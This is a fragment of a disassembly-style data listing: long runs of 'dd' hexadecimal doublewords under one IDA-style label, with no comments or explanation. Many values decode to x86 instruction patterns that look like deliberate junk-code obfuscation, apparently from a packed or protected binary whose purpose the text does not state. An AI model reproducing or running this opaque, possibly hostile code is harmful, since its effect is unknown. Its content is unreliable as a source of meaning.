0E72B1B69h, 53BCFF0Ch dd 958B9046h, 7E41625h, 4FC3858Dh, 0F48A07E4h, 575390F5h dd 5A5AFE8Ah, 90FA8A50h, 198C0Fh, 14E90000h, 0FD000000h dd 0F7543B39h, 83A079E9h, 0B5D14238h, 9C65F51Fh, 8B33D67Dh dd 0A1858DD1h, 0BB07E44Fh, 1056CC38h, 10E990h, 31A10000h dd 34B337D4h, 868B697Bh, 18D86B27h, 0B750E8F5h, 0BA669089h dd 95FF395Dh, 7E42169h, 0C483D78Bh, 4195290Ch, 8D07E418h dd 0E44FA185h, 459D8B07h, 5007E40Fh, 800F5250h, 6, 880Fh dd 310F0000h, 585ADF8Bh, 6A240489h, 68E0F02h, 89000000h dd 0E41FED8Dh, 1495FF07h, 0FC006AEDh, 0FB75761h, 0D485C75Bh dd 107E44Fh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0E5CBC353h, 3B0884C3h dd 8A0F7F35h, 2, 830F66B7h, 6, 2ED9958Bh, 579607E4h, 0AE960h dd 5EA40000h, 578C159Ah, 0DB13866Fh, 8B505A61h, 6A96D3h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0B62B3CC3h, 16A50C35h, 12E9h, 0A56F8C00h, 0FEA14E57h dd 4C68524Fh, 4E647691h, 3134150h, 0E4275595h, 85B58907h dd 0F07E44Fh, 58Eh, 0E9A5BA00h, 0BD8349AAh, 7E42015h, 68850F01h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 77D4C355h, 1881958Bh, 0BA6607E4h dd 0F8838761h, 38850F05h, 8B000000h, 0B8D1h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 79C1B7C3h, 0F4DA1608h, 89D590CAh, 0E426899Dh, 9D850907h dd 8307E42Fh, 0E40AC5BDh, 840F0007h, 94h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 23C35747h, 6A608D83h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 9E50C351h, 4CBF60h, 0BD892CBDh, 7E405D5h dd 0C595FF61h, 6A07E40Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 60AEC350h, 1EB4007h dd 12E86173h, 9D000000h, 0B39B1B39h, 27962158h, 0CBEFBBBBh dd 0DEF0F7C5h, 67C3805Ch, 952B615Bh, 7E41AADh, 6B9BD83h dd 0F0007E4h, 3784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0F5872D2Ch, 8B529ADDh dd 0B8D0h, 9E90000h, 0A8000000h, 0E5617ED9h, 4462B871h dd 8B62B260h, 0E41EB585h, 83FD8A07h, 0CA8102C0h, 2DC1918h dd 4F7D8589h, 6A07E4h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0CE3528C3h, 188D0Fh, 0CE80000h dd 6000000h, 0FF808A05h, 44681A80h, 89B38904h, 0E42C0D9Dh dd 0C65A07h, 0DE8FFh, 314C0000h, 77A46C99h, 0B9460AE8h dd 0E9D5C0AFh, 0Eh, 0AC3E32A9h, 0A425CCEAh, 82F747CEh dd 0C65A1A4Dh, 0E42C2D85h, 958B5307h, 7E40DDDh, 1A121768h dd 0A8E0FD2h, 60000000h, 820Fh, 61600000h, 24048161h, 2A9736C1h dd 13959D89h, 0B5FF07E4h, 7E42141h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 90C35747h, 0DCB81E6h, 8D72E13Eh dd 0E7B0A785h, 88F0F07h, 0F000000h, 280h, 0FF616000h, 52006AD0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0E9D98B6Fh, 8, 2EC002BEh, 6329EBE8h, 0E418589h, 0BA6607E4h dd 0BD83F55Dh, 7E40B11h, 0F7850F01h, 0B7000000h, 9D8B61A6h dd 7E42541h, 2DCD8501h, 85C607E4h, 7E42C2Dh, 65953345h dd 8907E41Ch, 0E422359Dh, 4E807h, 38C20000h, 13E8DA60h dd 0EE000000h, 0C96407B4h, 1D8B3E4Bh, 0D460E516h, 0B782B194h dd 0BB664D6Eh, 505A1AF4h, 5820Fh, 8ABA0000h, 8B2F6218h dd 50042444h, 2EBB6652h, 66310FA2h, 5A20CCBAh, 60008B58h dd 28F0Fh, 61600000h, 0D774FBB9h, 44896155h, 1CBB0424h dd 5802C27Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0B5C35040h, 8BB30F6Dh, 41B5FFD7h, 8B07E421h, 0E4229595h dd 0A7858D07h, 6A07E7B0h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 6014C357h, 0AAC98166h dd 0B1B589E9h, 6107E413h, 0D0FF41B3h, 6A33D780h, 119D3100h dd 0F07E40Ah, 0D0FFD0BFh, 2CC3EB81h, 0BD832EE8h, 7E403C9h dd 0E7850F01h, 66000000h, 0E940DA81h, 1EB5858Bh, 10E907E4h dd 51000000h, 9035E212h, 23591956h, 2F1BEDDEh, 0E8280E65h dd 8, 481247h, 0B0D9C2FAh, 251958Bh, 0E95A07E4h, 90h, 1CF59D8Bh dd 505007E4h, 97BA6652h, 8B310FFDh, 89585ADAh, 6A2404h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 86D175C3h, 3D4CB49Dh, 0DA81C76Dh, 25DF612Bh, 0EFAFBB66h dd 6A146Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 942C31C3h, 570B97A9h, 0F620BE4h, 481h, 40BA6600h dd 4195FF5Ah, 107E40Eh, 0E40B8995h, 8B0F5807h, 6, 20218D31h dd 0F1B307E4h, 0F003880h, 0FFFF6D85h, 8D8D89FFh, 0C607E40Eh dd 0BD890100h, 7E40FA1h, 35819D8Bh, 0E96107E4h, 12h, 0AA62018h dd 2D08B6D4h, 6F18324Bh, 83306511h, 0BD837008h, 7E40069h dd 37840F00h, 0E9000000h, 0Dh, 0AD82975Ah, 53A3867Fh, 4CEA2C7Fh dd 8C0F1Bh, 6A000000h, 319531FFh, 0FF07E426h, 0E40E4195h dd 48D0F07h, 52000000h, 0E95A6160h, 0FFFFFFE3h, 85C7DF8Bh dd 7E40069h, 1, 0AEE28166h, 898589BAh, 8B07E44Fh, 665390D6h dd 505BD68Bh, 2DBA5250h, 0F1715EBh, 2EBA6631h, 90585A34h dd 10E85751h, 78000000h, 4D4D8775h, 7F6C7A8Bh, 59B350Fh dd 5BB004CDh, 66605A5Ah, 890283BEh, 0E4258D85h, 8B606107h dd 0E4090595h, 7E907h, 773B0000h, 9BD8B4C9h, 6A056A5Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 1E1C352h, 958B5289h, 7E40A8Dh, 0A1858D5Bh dd 8B07E44Fh, 0E401C195h, 85958B07h, 5007E414h, 89D98B66h dd 8D892404h, 7E40701h, 4F91858Dh, 870F07E4h, 6, 6819D8Bh dd 509007E4h, 13E8h, 80489200h, 65C51CDh, 0C127CC0Ch, 33B55D49h dd 55846EFCh, 5B5B6160h, 10E850h, 0C5F40000h, 8C77B1Ah dd 97F48D04h dd 0D02C8DACh, 0BA57782Eh, 51E124D0h, 6A905A5Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0C396C356h, 13AD95FFh, 6A07E4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 5E7ACDC3h, 8B3D9990h dd 0E4272D95h, 0C08D8D07h, 8907E47Ah, 0E41E99B5h, 74C00B07h dd 0A1858D11h, 5007E44Fh, 8589D1FFh, 7E44FBFh, 85C70AEBh dd 7E44FBFh, 0FFFFFFFFh, 6850Fh, 0B5290000h, 7E42E05h dd 0E98D0961h, 0C607E431h, 0E42C2D85h, 8D294D07h, 7E41BADh dd 35BBC068h, 81DE8B27h, 0BAE82404h, 9D8B7CFFh, 7E40B1Dh dd 0E432BB66h, 1D89B5FFh, 810F07E4h, 1, 0A7858DF5h, 5607E7B0h dd 12C18589h, 8B5A07E4h, 0BAD0FFDFh, 46AE3D13h, 21618589h dd 950B07E4h, 7E421DDh, 2C2D85C6h, 6A4507E4h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 23CCC355h, 9D950B23h, 6807E41Bh, 0CC444797h, 5890Fh dd 0C4BA0000h, 814B1C26h, 2EFE2434h, 0EA814236h, 60AA13CBh dd 2141B5FFh, 958907E4h, 7E42451h, 0B0A7858Dh, 0BB6607E7h dd 0D0FF8321h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 35C35141h, 63540764h, 958BF9C0h, 7E40595h, 8589F78Ah dd 7E41665h, 25F38166h, 6AD28BFFh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8B34C350h dd 0E40E3D9Dh, 0D98C6607h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0A3C35040h, 0E8AE7EFCh, 0Fh, 0FE6426C0h dd 0B217D114h, 0D092D63Ah, 0F0A0A54h, 68Fh, 0DDB52900h dd 5B07E42Bh, 0F04C1F6h, 25484h, 85316000h, 7E40065h, 0A44DCB81h dd 0E9611881h, 12Ch, 38A0Fh, 8B660000h, 39B58BD9h, 6A07E42Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 1346C352h, 662B0B9Bh, 81ABC381h, 5840Fh dd 81660000h, 81B7D5DAh, 1180C6h, 0E9535000h, 5, 412A9947h dd 0E95A5AA5h, 7, 92B60ECBh, 83FC63F0h, 0E4038DBDh, 850F0007h dd 0Eh, 0E9DBE280h, 9Ch, 15AD9D8Bh, 3E8307E4h, 8D840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0D2F1C350h, 0DFB34198h, 55006A60h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0AEBA66A0h, 0BB146AE2h, 4A1528DAh, 0E4195FFh, 896007E4h dd 0E4218D8Dh, 61BD8B07h, 6107E41Dh, 259FBB66h, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 95CCBAAAh, 0D919D8Bh, 6BE907E4h, 0FCFFFFFFh, 106C7h dd 850F0000h, 0Eh, 5D958B60h, 0F07E416h, 8Bh, 0DC8A6100h dd 4F89BD83h, 0F0507E4h, 10885h, 699D8B00h, 8B07E414h dd 0E41665B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0E6104E24h, 7D9D2BC1h dd 0F07E423h, 64B9D2B7h, 8B000000h, 0E42BE59Dh, 0E83E8007h dd 49840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 9523C3C3h, 7E426B9h, 2DE9DE8Bh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0D937C352h, 8019D413h, 0FC2057Eh dd 6084h, 0DEB70F00h, 5890F46h, 0BA000000h, 427D6C58h dd 8E850F49h, 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 4B6EC350h, 0BF0F6E85h dd 8B6651D2h, 0EE85BD3h, 0AD000000h, 0C4E6894h, 99F4FF14h dd 795056C9h, 1870F29h, 0FC000000h, 0FE95Ah, 0B70F0000h dd 71B589DEh, 8907E435h, 0E414E9BDh, 9D035807h, 7E41519h dd 0DB5BD83h, 0F0007E4h, 9684h, 8800F00h, 56000000h, 209D9589h dd 605A07E4h, 89B6CE80h, 0E405258Dh, 2D85C607h, 5407E42Ch dd 6860Fh, 0F2810000h, 4AD0EC3Fh, 0E429A768h, 4359BB81h dd 48109FAh, 6A954D24h, 8D8D897Dh, 0FF07E421h, 0E42141B5h dd 6D858907h, 8D07E422h, 0E7B0A785h, 7D9D0307h, 0FF07E420h dd 0D19529D0h, 6A07E404h, 12E900h, 9F8C0000h, 937E7B53h dd 412C6C41h, 6491CA57h, 0AE2369A3h, 0DB5B5FFh, 0BD8907E4h dd 7E42F7Dh, 9501D0FFh, 7E413B1h, 2DBD0961h, 0C707E416h dd 0E4061185h, 107h, 3D958900h, 0F07E431h, 0F60D2B7h, 0E068D0BFh dd 669F646Ah, 817CF2BAh, 95A02404h, 0B70F609Bh, 0E9FF6AD7h dd 7, 3107F7B2h, 0FF355042h, 0E4160195h, 53006A07h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 2961CFD9h, 0E40F7595h, 0BB665007h, 4897E54h, 1D958B24h dd 8B07E40Ah, 0E415A985h, 6DBB6607h, 0FC00BB1h, 3B84h dd 8E900h, 0C5590000h, 39FD1F6Dh, 95FF543Bh, 7E40049h dd 35958B60h, 0E807E42Bh, 14h, 1B18CE6Fh, 0E42156A8h, 3C1C6F2Dh dd 0E9C702EFh, 0A9010129h, 2918589h, 615A07E4h, 141185C7h dd 107E4h, 0BE80000h, 0FE000000h, 283E9696h, 28D71151h dd 8C0FD8A0h, 2, 835ADE8Bh, 0E43231BDh, 840F0007h, 1Ah dd 3890Fh, 0BF0F0000h, 0F19D23DBh, 0FF07E417h, 0E40B1995h dd 0E2816607h, 0BD83B69Eh, 7E419B9h, 0F840F00h, 0BA000000h dd 739D36F6h, 0D6195FFh, 0BA6607E4h, 0BD830909h, 7E42519h dd 42840F00h, 0F000000h, 0BD83DABFh, 7E43345h, 32850F00h dd 66000000h, 0FFD583BAh, 0E4224995h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 5BC25CEDh, 339884D3h, 0DF80B4D1h, 0A9BD8316h, 7E407h dd 40840Fh, 0FD8A0000h, 14798581h, 400307E4h, 0DF800000h dd 0ED8581B5h, 307E40Eh, 6A000040h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 34C9C353h dd 31513109h, 0E40AF9B5h, 310F5B07h, 2A69952Bh, 8D8D07E4h dd 7E45E49h, 0C8C0Fh, 860F0000h, 6, 850Fh, 1890000h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2AC35242h, 0ED694517h dd 89D2B02Ch, 0E42BD9BDh, 57C23307h, 5ADA8B66h, 66044189h dd 0A7E9D381h, 6A310Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 8E948C3h, 0DB000000h, 0A39D2FE3h dd 8DB45870h, 0E45E568Dh, 0B99D8907h, 8907E403h, 0C2816601h dd 0BB665266h, 0C2333E7Ah, 44189F9h, 14F3CA81h, 0BD832562h dd 7E421CDh, 1B840F00h, 0FF000000h, 0E4180195h, 0AE907h dd 2E8E0000h, 8D28BA4Eh, 4AD57650h, 0D7D8509h, 0BD8307E4h dd 7E41DF1h, 77850F01h, 9000000h, 0E41C4D85h, 6CE907h dd 8BF90000h, 0E45F6AB5h, 6C707h, 8B000000h, 0E45DA8B5h dd 6C707h, 0CF000000h, 6ADABF0Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 1357C357h dd 1F7E4FDAh, 7D9D31C4h, 0E807E401h, 5, 27915FC9h, 10E8CCh dd 0EFE40000h, 1C609D1Ah, 0F0B87F7Fh, 15DF0FC9h, 0C28117BFh dd 7B660292h dd 0BD835B5Bh, 7E41411h, 9D840F00h, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 7698C357h, 17D5958Bh, 4EB207E4h, 1C81BD83h, 0F0107E4h dd 15885h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 950B0339h, 7E4356Dh, 8D8BB1B7h, 7E44F7Dh dd 6870Fh, 9D310000h, 7E419C5h, 6A0001C6h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 9351C350h dd 65B58922h, 6007E403h, 6E8h, 665D0000h, 8BB96606h, 0E40A299Dh dd 8B665B07h, 0A2C68D1h, 52506815h, 0D287E3BAh, 66310F01h dd 5A4505BAh, 24348158h, 68150AACh, 6ADABF0Fh, 0E1B529FFh dd 0FF07E429h, 0E4160195h, 34E2BA07h, 95316A8Bh, 7E40229h dd 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 92A377C5h, 958BCDFBh, 7E40749h, 6850Fh dd 85310000h, 7E41C7Dh, 300595FFh, 6A07E4h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 398CF7C3h dd 7E30CA14h, 8166607Ah, 895529D3h, 0E400F985h, 0F2816107h dd 527B5D38h, 4F7D8D8Bh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0A0AE7BC3h, 78F6BFAEh dd 6810FD6h, 8B000000h, 0E423759Dh, 8101FE07h, 2FEB56F2h dd 0C9BD8313h, 107E419h, 6850Fh, 9D2B0000h, 7E420F5h, 27B6C08Bh dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501A74h dd 858BC08Bh, 7E41479h, 14798589h, 9D8D07E4h, 7E6E9F0h dd 585BD3FFh, 935BD83h, 740007E4h, 8B535018h, 0E4147985h dd 79858907h, 8D07E414h, 0E6E6DF9Dh, 5BD3FF07h, 0C88EBB58h dd 0B70F6881h, 0E9C08BDBh, 0Fh, 1B0E560Fh, 24481636h, 7A31AF90h dd 83C073AAh, 0E41411BDh, 850F0007h, 29h, 0DE9h, 8D2A7D00h dd 8B72BFCAh, 0F2626671h, 0BD83DC3Fh, 7E40B95h, 0A840F00h dd 8B000000h, 0E40A799Dh, 8ABB6607h, 11BD8362h, 7E414h dd 3B840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0E91FD6C3h, 6, 0C07BAD86h, 0BD8378A1h dd 7E40399h, 6840F00h, 29000000h, 0E4242DBDh, 11BD8307h dd 7E414h, 1C840Fh, 958B0000h, 7E400C1h, 399BD83h, 0F0007E4h dd 984h, 0D3BF0F00h, 0EFD9D8Bh, 0BD8307E4h, 7E41411h, 1C840F00h dd 0F000000h, 388h, 0BAE38000h, 1855BD83h, 0F0007E4h, 684h dd 49958B00h, 8307E407h, 0E41411BDh, 840F0007h, 23h, 83DFBF0Fh dd 0E426A9BDh, 840F0007h, 13h, 5C4DBE60h, 0FF610236h, 0E4181995h dd 5CDA8107h, 8B5E8BE3h, 0D38B66C0h, 13F1BD83h, 750007E4h dd 35BD8309h, 7E409h, 53501A74h, 858BC08Bh, 7E40EEDh, 0EED8589h dd 9D8D07E4h, 7E6EA57h, 585BD3FFh, 935BD83h, 740007E4h dd 8B535018h, 0E40EED85h, 0ED858907h, 8D07E40Eh, 0E6E6F89Dh dd 5BD3FF07h, 258D8958h, 6A07E416h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 7EC353h dd 0FEF9810h, 282h, 8BF08A00h, 1393BAC0h, 8B60542Eh, 0E4061D95h dd 61585107h, 1411BD83h, 0F0007E4h, 4D784h, 31958900h dd 8307E42Ch, 0E40B11BDh, 840F0207h, 64h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Dh, 28C35242h, 0C641AD04h dd 0C1BAF195h, 8976B6E6h, 0E4021985h, 0F1BD8307h, 107E41Dh dd 2A850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 90F9F6C3h, 0C9C848EAh, 958B0E37h dd 7E4042Dh, 0D99D8B60h, 8B07E415h, 0E44F7D8Dh, 0BE907h dd 0E3760000h, 0B49EB158h, 0A17877h, 65B5091Dh, 0FE07E41Eh dd 56006A01h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0FA2ABB2h, 68Ch, 3DBD0900h, 0E807E40Bh dd 4, 80h, 4850F50h, 66000000h, 8B2737BAh, 0F042444h, 148Eh dd 7E86000h, 65000000h, 0E49AD743h, 0B95F13ECh, 1B0C5CA9h dd 0B7008B61h, 244489F6h, 48D0F04h, 66000000h, 584BCBBAh dd 895958Bh, 0FF6A07E4h, 13C5BD89h, 95FF07E4h, 7E41601h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 19C35747h dd 0D5FD63FFh, 0BD1B2B0Fh, 0EC20BA61h, 71BB74EAh, 8D12C36Dh dd 0E402E5BDh, 0D99D8B07h, 8B07E415h, 6A1C4Fh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 629F15C3h, 8B48D731h, 0E426899Dh, 6A016A07h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0DF7AC355h, 70F26DD6h, 8B8C3BD1h, 0C880FD0h, 0F000000h dd 68Ah, 719D8900h, 8907E423h, 0E42D01B5h, 0D48A5007h dd 6A240C89h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 119DC351h, 0ECCE3BABh, 0A07B4D3Dh dd 2441BD89h, 0DE907E4h, 0DD000000h, 10EFBA9Fh, 132D0011h dd 2CA3EA8h, 7026858Dh, 890F07E7h, 6, 0F1F9DA81h, 0D0FF18D6h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0B1C35040h dd 0FBF5BD72h, 3D55D381h, 0B5890C8Bh, 7E42045h, 0E9204F8Bh dd 0Dh, 401DA51Dh, 6F0DF8A1h, 68ADB7Ch, 80036A92h, 0B350AAE2h dd 240C89D8h, 18D18501h, 858D07E4h, 7E77026h, 10E8h, 55062700h dd 65273009h, 8CB0A6F6h, 9E7F7560h, 5E9BAh, 42D00000h dd 5B2C04F9h, 0FFDAB70Fh, 198B0FD0h, 0E8000000h, 0Dh, 3080B518h dd 0C6AD3314h, 0D51B4309h, 0A58D091Dh, 5A07E405h, 2E5BD8Dh dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0AA2D61C3h, 0F05199ECh, 0B589D5A8h, 7E41AC1h dd 0F1C4F8Bh, 16AD3B7h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0A4C35141h, 0B2E280D0h, 0C94BB50h, 0C891B48h dd 75850924h, 8D07E42Fh, 0E7702685h, 0B5953307h, 0FF07E418h dd 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0F2FD2E4Fh, 89501B60h, 0E42681B5h, 204F8B07h dd 5227CB80h, 5ADBB70Fh, 6A036Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 897CC3C3h, 0E40A65BDh dd 0BB669107h, 0B2506D7Dh, 0BB669106h, 858DDCDEh, 7E77026h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 42C35141h dd 0C80F5C68h, 45981686h, 28B0F74h, 8A000000h, 0E18D89D1h dd 0FF07E422h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 4651D700h, 4F7D8D8Bh dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 8B66BCC3h, 6A01FED9h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0ACAAC350h dd 0F5FCB0B6h, 0C8A86DC4h, 0A719D8Bh, 858B07E4h, 7E44F7Dh dd 0DCE88160h dword_588C64 dd 0E9133437h, 0Ch, 455A966Ah, 0DE55DD3Eh, 8C1C9FAFh, 8000FE61h dd 16AB1E2h, 4E8BDB2h, 0FF000000h, 8BFFFF9Fh, 8B6650DAh dd 24448BD3h, 8B525004h, 60310FD6h, 0B4FF44BEh, 0F52504Ch dd 61585A31h, 8B585Ah, 89DA8B66h, 0BA042444h, 78E2E60Ah dd 0DB816658h, 858D7396h, 7E77030h, 0A358D09h, 8D3107E4h dd 7E4321Dh, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0A0C44C3h, 856C6872h, 0B95BD83h dd 0F0007E4h, 0DA84h, 89958B00h, 8307E423h, 0E42015BDh dd 850F0107h, 0C7h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 62C35040h, 0BB66C5F6h, 8D8D7E94h, 7E7703Ah dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EBC35747h dd 6AD38B66h, 158D8903h, 6A07E425h, 9D896001h, 7E402BDh dd 61FAB70Fh, 8166D1FFh, 0F9401FCAh, 13E8016Ah, 54000000h dd 0B8DA0248h, 7D7EBD85h, 0A67EC4F0h, 0CAB14C88h, 8B66942Bh dd 81665AD1h, 6A0072F2h, 15958B01h, 8907E430h, 0E42A4DBDh dd 1D1FF07h, 0E4278DBDh, 0E80BB707h, 0F8776D59h, 0A98589h dd 6E807E4h, 0FA000000h, 0F2BAB8D9h, 0CE967h, 98950000h dd 0AF677B7Ah, 30F16BEEh, 6A5A58BFh, 53006A20h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 508E98F9h dd 21659D8Bh, 6A5B07E4h, 0F810FFFh, 0E9000000h, 0Ah, 0EB061534h dd 0B4B8035Fh, 95FFC579h, 7E41601h, 0E4DB589h, 0B807E4h dd 0BB000000h, 42FFBE78h, 840FC00Bh, 80h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F7C35242h, 7DCB27A6h dd 897D26FBh, 0E41C1585h, 35958B07h, 8307E42Dh, 0E42471BDh dd 840F0007h, 44h, 95FFDA8Bh, 7E41F91h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 2EC35141h, 13E837h dd 8FD20000h, 3FEFEF1Fh, 3DF16E33h, 0B0BD8FE0h, 0D08154FDh dd 458D896Dh, 5A07E40Eh, 1EB5858Bh, 0E28007E4h, 12E95219h dd 0E9000000h, 0E92A7187h, 54BC72F6h, 0E14682C6h, 1C0E51EFh dd 0C65BADh, 9E800h, 0E5510000h, 5D7C9921h, 8120EFCAh dd 0CFEC30D3h, 0F585B37h, 689h, 6EEB8100h, 6665DCC7h, 6AD98Ch dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0F65D78C3h, 840F04C1h, 0AFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 62C35040h, 0B704F663h, 11CB80A3h dd 86E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0BD402976h, 0BA37C50Bh, 2B85B7D7h dd 0E418459Dh, 0B8EB8107h, 8B3CFC8Bh, 0E42D39B5h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0E1738149h, 6A4D5212h, 0F51FF94h, 815ADEBFh, 1180C6h dd 0E19D0B00h, 0C707E41Ch, 6, 6E800h, 0E2E20000h, 1835FA25h dd 1E4D9D89h, 5E5B07E4h, 0F883F8h, 0AB6840Fh, 9CBB0000h dd 0F528EAEAh, 0F01F883h, 12385h, 0D0B70F00h, 0B8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0CE965h, 5EC30000h, 0F51DEFFh, 0E2C96D77h, 0C00B7D7Ah dd 7D840Fh, 9D230000h, 7E41D21h, 0F01F883h, 0AF84h, 0A5958B00h dd 8307E415h, 840F03F8h, 39h, 1A05BD29h, 0EE807E4h, 0CA000000h dd 863837A3h, 2C348606h, 980A1249h, 69850909h, 5A07E40Ah dd 958BC02Bh, 7E42641h, 89E0BD8Dh, 9D8B005Bh, 7E4096Dh dd 0BF0FE7FFh, 1B8D7h, 860F0000h, 6, 0EB72E281h, 0BD8D62BFh dd 5B89E0h, 0FE7FFF5h, 68Eh, 599D8B00h, 8D07E42Ah, 0E44609BDh dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 22A29EF7h, 6D55822Fh, 8A0F60B7h, 1, 1E5E9F8h dd 0F500000h, 282h, 5BFA8A00h, 4FD885C7h, 507E4h, 26BB0000h dd 0B808B27Ah, 5, 3850Fh, 0C2800000h, 8C7E94Fh, 958B0000h dd 7E42EB5h, 0F02F883h, 0B985h, 14E800h, 79B0000h, 0ED369055h dd 0FF6F8603h, 0F8A91FF9h, 31D1C6C5h, 800F3DE4h, 6, 18FDBD89h dd 895A07E4h, 0E406E9BDh, 0B807h, 0D7800000h, 0FC00B77h dd 6684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 5739610Ah, 74BA82F2h, 1E61958Bh dd 0F88307E4h, 61840F01h, 81FFFFFFh, 0B9664DC2h, 3F88315h dd 0FEEB840Fh, 958BFFFFh, 7E40155h, 0B8h, 0B58D0100h, 8D07E416h dd 5B89E0BDh, 0C19D3300h, 0FF07E41Ah, 0FD9D8BE7h, 8D07E40Eh dd 0E44801BDh, 0ECA8107h, 0E915A2FDh, 0F7h, 15698589h dd 0F88307E4h, 1B850F03h, 1000000h, 0E41D6DB5h, 95BD8D07h dd 6607E449h, 0E508D381h, 0D2E9h, 0E3816600h, 0F8831D00h dd 